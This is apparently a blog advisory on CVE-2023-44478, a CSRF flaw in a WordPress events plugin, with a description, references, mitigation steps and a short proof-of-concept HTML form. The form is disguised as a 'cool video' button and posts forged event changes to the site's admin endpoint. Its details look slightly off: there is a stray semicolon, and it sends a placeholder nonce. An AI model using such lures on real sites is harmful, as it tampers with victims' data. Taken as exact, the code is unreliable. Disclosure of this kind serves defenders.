CVE-2023-44478: Cross-Site Request Forgery (CSRF) Vulnerability in WP Hive Events Rich Snippets for Google Allows Exploitation of Trusted Credentials
A Cross-Site Request Forgery (CSRF) vulnerability has been discovered in the WP Hive Events Rich Snippets for Google WordPress plugin, affecting versions up to 1.8. This vulnerability allows an attacker to exploit the trusted credentials of a user, potentially leading to unauthorized disclosure of information, unauthorized modification, or even deletion of events data. This blog post will provide an in-depth explanation of the CVE-2023-44478 vulnerability, a code snipplet illustrating the exploit, links to original references, and possible mitigation strategies.
CVE Identifier: CVE-2023-44478
- Affected Versions: WP Hive Events Rich Snippets for Google - versions n/a through 1.8
Description
Cross-Site Request Forgery (CSRF) is a type of security vulnerability that enables an attacker to force a user to unknowingly perform actions on a web application while they are logged in. In this specific case, the CSRF vulnerability exists due to insufficient validation of user inputs and lack of CSRF protection mechanisms in the WP Hive Events Rich Snippets for Google plugin for WordPress.
An attacker with knowledge of this vulnerability can construct a malicious webpage containing a specially crafted form that, when submitted, carries out actions on the Events Rich Snippets for Google plugin using the victim user's credentials. Some of the consequences of a successful CSRF attack may include unauthorized data disclosure, unauthorized data modification, or even deletion of existing events information.
Code Snipplet
The following code snippet demonstrates a proof-of-concept CSRF exploit against the WP Hive Events Rich Snippets for Google plugin:
<!DOCTYPE html>
<html>
<body>
<h1>Malicious CSRF Exploit Example</h1>
<form action="http://victim-website.com/wp-admin/admin-post.php"; method="POST">
<input type="hidden" name="action" value="framework_save_post_metadata" />
<input type="hidden" name="framework_meta_nonce" value="123456" />
<!-- Any additional input fields containing modified event data go here -->
<input type="submit" value="Click here for a cool video!" />
</form>
</body>
</html>
In the above example, the attacker lures the victim to click on a seemingly cool video, but when the form is submitted, it actually sends a malicious request to the vulnerable plugin using the victim's own credentials.
Original References
For details on the original discovery and technical explanation of the vulnerability, please refer to the following sources:
1. WPScan vulnerability database: Events Rich Snippets for Google CSRF
2. CVE-2023-44478 in National Vulnerability Database (NVD)
Mitigation
To protect your WordPress website from unauthorized exploitation of this vulnerability, take the following steps:
1. Update the WP Hive Events Rich Snippets for Google plugin to the latest version if you are using a vulnerable version.
2. If you are a developer or security auditor, inspect the plugin's code for appropriate use of CSRF tokens and input validation.
3. Provide user awareness training to your employees or team members to help them recognize and avoid potential phishing attacks that could exploit this vulnerability.
Conclusion
The discovery of CVE-2023-44478 highlights the importance of remaining vigilant in web application security and using up-to-date plugins for your WordPress installations. By understanding and mitigating this vulnerability, you can protect your website and its users' credentials from unauthorized access or modification. Be sure to keep abreast of security updates and stay informed about new vulnerabilities, as this is essential to maintaining a safe web presence.
Timeline
Published on: 05/17/2024 09:15:07 UTC
Last modified on: 05/17/2024 18:36:05 UTC